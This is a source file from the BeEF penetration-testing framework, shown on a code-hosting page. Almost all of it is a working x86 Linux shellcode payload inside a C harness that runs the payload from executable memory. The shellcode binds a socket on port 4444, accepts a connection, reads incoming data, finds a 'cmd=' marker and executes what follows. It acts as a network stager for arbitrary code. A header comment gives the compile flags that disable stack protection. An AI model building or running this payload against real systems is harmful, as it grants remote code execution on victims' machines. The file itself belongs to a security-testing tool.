Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c
1154 views
1
/**
2
Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
Browser Exploitation Framework (BeEF) - https://beefproject.com
4
See the file 'doc/COPYING' for copying permission
5
6
The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled with:
7
#gcc -m32 -fno-stack-protector -z execstack -o socket socket.c
8
**/
9
10
#include <stdio.h>
11
#include <sys/mman.h>
12
#include <string.h>
13
#include <stdlib.h>
14
15
int (*sc)();
16
17
char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";
18
19
int main(int argc, char **argv) {
20
char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
21
if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
22
memcpy(ptr, shellcode, sizeof(shellcode));
23
sc = (int(*)())ptr;
24
(void)((void(*)())ptr)();
25
printf("\n");
26
return 0;
27
}
28
29